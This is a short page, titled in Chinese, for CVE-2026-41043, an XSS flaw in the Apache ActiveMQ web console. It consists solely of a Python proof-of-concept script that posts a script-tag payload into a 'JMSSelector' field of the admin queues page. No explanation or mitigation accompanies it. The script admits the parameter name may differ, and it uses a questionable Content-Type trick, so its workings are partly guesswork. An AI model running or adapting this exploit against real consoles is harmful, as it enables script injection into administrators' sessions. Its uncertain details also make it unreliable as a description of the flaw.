CVE-2026-41043 Apache ActiveMQ Web控制台XSS漏洞

import requests # Target URL (Example) target_url = "http://localhost:8161/admin/queues.jsp" # Malicious Payload to be injected into the JMS selector field xss_payload = "<script>alert('CVE-2026-41043 XSS');</script>" # Headers to override the content type headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "text/html", # Overriding content type to trigger HTML rendering "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } # Data payload targeting the JMS selector parameter # Note: The actual parameter name might vary depending on the specific endpoint implementation data = { "JMSSelector": xss_payload, "view": "queues" } # Sending the request try: response = requests.post(target_url, headers=headers, data=data, verify=False) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the browser console or queue page for the alert.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")